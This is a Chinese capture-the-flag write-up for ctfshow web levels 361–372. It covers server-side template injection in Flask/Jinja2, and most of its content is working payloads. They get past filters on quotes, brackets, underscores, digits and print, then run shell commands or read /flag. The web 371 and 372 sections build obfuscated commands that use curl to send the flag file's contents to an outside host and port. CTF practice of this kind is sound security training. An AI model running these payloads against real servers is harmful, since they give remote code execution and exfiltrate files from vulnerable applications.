SSTI的概念
SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
web 361
GET输入?name={{7*7}}
说明注入点是?name
获得内置类所对应的类
获得object基类
获得所有子类
我们用python脚本观察是否含有’popen’
列出根目录内容
取得flag
SSTI模板注入漏洞就是服务端没有对用户输入的内容进行过滤,导致服务器没有对输入的内容尽进行任何处理就将其作为Web应用模板内容的一部分,使得模板引擎在进行编译渲染的过程中,执行了用户插入的破坏模板的语句。
我们一般的攻击方式就是想办法获得object的所有子类,因为子类中包含有可以执行命令或文件读取的方法,我们获得这些方法就可以对目标服务器进行攻击。
web 362
这道题貌似将3和2过滤了
那我们将132变成140-8不就好了
哟西,接下来就和上一题一样了
web 363
这道题过滤了单双引号
使用request.args.x1传递GET参数x1,从而避免单双引号的使用
或者我们可以用[]来获取内置类所对应的类。
这时我们可以把单引号里的内容使用传参的方式将我们想要的字符串传进去
web 364
在上面的基础上过滤了args
request.args是GET传参,可以使用其他方式来代替args,如cookie
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
web 365
在以上的基础上过滤了中括号
法一:继续用request.cookies
法二:
使用.__base__或者.mro[1]来获取object基类。由于中括号被过滤了,我们就使用.getitem(1)来获取
因为字符串需要用单双引号来包裹起来,故我们使用request.values.参数 的方式传参
web 366
多过滤了下划线
法一:
法二:
用attr方法:request|attr(request.cookies.a)等价于request[“a”]
web 367
过滤了了os,那就把os写到request里面就行了
web 368
{{
被过滤,使用{%%}
绕过,再借助print()
回显
?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}
Cookie:a=__globals__;b=os;c=cat /flag
web 369
这道题过滤掉了request,参考yu师傅的博客
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
分析
构造po="pop"
#利用dict()|join拼接得到。
#dict() 函数用于创建一个字典;join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
{% set po=dict(po=a,p=a)|join%}
a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
构造ini="__init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
即chr=q.__init__.__global__.__getitem__.__builtins__.chr
构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
打印q.__init__.__global__.__getitem__.__builtins__.open(file).read())
web 370
这一关过滤了数字
可以把一些东西转string再转list,然后用index
GET:?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
//count可以用length代替
web 371
这道题过滤了print
?name={% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}
cmd后的内容由以下代码生成
def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))
运行结果
chr((cccccccccc~cccccc)|int)%2bchr((cccccccccc~cccccc)|int)%2bchr((ccccccccccc~cccccc)|int)%2bchr((ccccccccccc~cccccccccc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((cccccccccccc~cc)|int)%2bchr((cccccccccccc~ccccc)|int)%2bchr((cccccccccccc~ccccccc)|int)%2bchr((cccccccccc~cccccc)|int)%2bchr((cccccccccc~cccccc)|int)%2bchr((ccccc~c)|int)%2bchr((cccc~ccccc)|int)%2bchr((cccccccccccc~cc)|int)%2bchr((cccccccccccc~cccccc)|int)%2bchr((cccc~ccccc)|int)%2bchr((ccccc~cc)|int)%2bchr((ccccc~ccccccc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((cccccccccccc~cc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((ccccccccccc~cc)|int)%2bchr((cccccccccccc~c)|int)%2bchr((ccccc~c)|int)%2bchr((cccc~ccccc)|int)%2bchr((cccccccccc~cccccccccc)|int)%2bchr((cccccccccccc~cccccccc)|int)%2bchr((cccccccccccc~ccccc)|int)%2bchr((ccccccccccc~ccccccccc)|int)%2bchr((cccc~ccc)|int)%2bchr((ccccccccccc~ccccc)|int)%2bchr((cccccccccccc~ccccccc)|int)%2bchr((cccccccccccc~ccccccc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((cccccc~ccccccccc)|int)%2bchr((ccccc~cccccccc)|int)%2bchr((ccccc~cccccccc)|int)%2bchr((ccccccccccccc~c)|int)%2bchr((ccccccccccccc~c)|int)%2bchr((ccccccccccccc~c)|int)%2bchr((cccccc~ccccccccc)|int)%2bchr((cccccc~ccc)|int)%2bchr((cccccc~cccc)|int)%2bchr((cccccc~ccccc)|int)%2bchr((cccccc~cccccc)|int)%2bchr((ccccccc~cccc)|int)%2bchr((cccccccccccc~ccc)|int)%2bchr((ccccccc~cc)|int)%2bchr((cccccccccc~ccccccc)|int)%2bchr((cccccccccc~cccccccccc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((cccccccccccc~ccccccc)|int)%2bchr((cccc~ccc)|int)%2bchr((ccccc~cccccccc)|int)%2bchr((ccccccccccc~ccc)|int)%2bchr((ccccccccccc~ccccccccc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccccc~cccc)|int)%2bchr((cccccccccc~ccccccc)|int)%2bchr((cccc~ccccc)|int)%2bchr((ccccc~cc)|int)%2bchr((ccccc~ccccccc)|int)%2bchr((cccccccccccc~ccccc)|int)%2bchr((ccccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccccc~c)|int)%2bchr((ccccc~c)|int)%2bchr((ccccc~cc)|int)
web 372
过滤了count,可以用length替换;
?name={%set one=dict(c=a)|join|length%}
{%set two=dict(cc=a)|join|length%}
{%set three=dict(ccc=a)|join|length%}
{%set four=dict(cccc=a)|join|length%}
{%set five=dict(ccccc=a)|join|length%}
{%set six=dict(cccccc=a)|join|length%}
{%set seven=dict(ccccccc=a)|join|length%}
{%set eight=dict(cccccccc=a)|join|length%}
{%set nine=dict(ccccccccc=a)|join|length%}
{%set pop=dict(pop=a)|join%}
{%set kongge=(()|select|string|list)|attr(pop)(five*two)%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set maohao=(config|string|list)|attr(pop)(two*seven)%}
{%set xiegang=(config|string|list)|attr(pop)(-eight*eight)%}
{%set dian=(config|string|list)|attr(pop)(five*five*eight-nine)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set open=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(open=a)|join)%}
{%set file=open((xiegang,dict(flag=a)|join)|join)|attr(dict(read=a)|join)()%}
{%set command=(dict(curl=a)|join,kongge,dict(http=a)|join,maohao,xiegang,xiegang,three,nine,dian,one,one-one,seven,dian,one,one-one,seven,dian,eight,four,maohao,one,one,one,one,xiegang,file)|join%}
{%set shell=(lipsum|attr(globals))|attr(get)(dict(o=a,s=b)|join)|attr(dict(popen=a)|join)(command)%}
由于ctfshow web入门371和372都过滤print,所以我们只能使用curl带外才能获得flag。而372题目过滤了count,没有过滤length,所以我们对这两道题使用length都是可以。
我们的思路是通过lipsum获取到os的popen方法,以便执行命令,然后执行的命令为"curl http://xxx.xxx.xxx.xxx:1111/open(‘/flag’).read()",这时我们就可以使用服务器以1111端口开启一个http服务,在服务器就可以看到flag的值。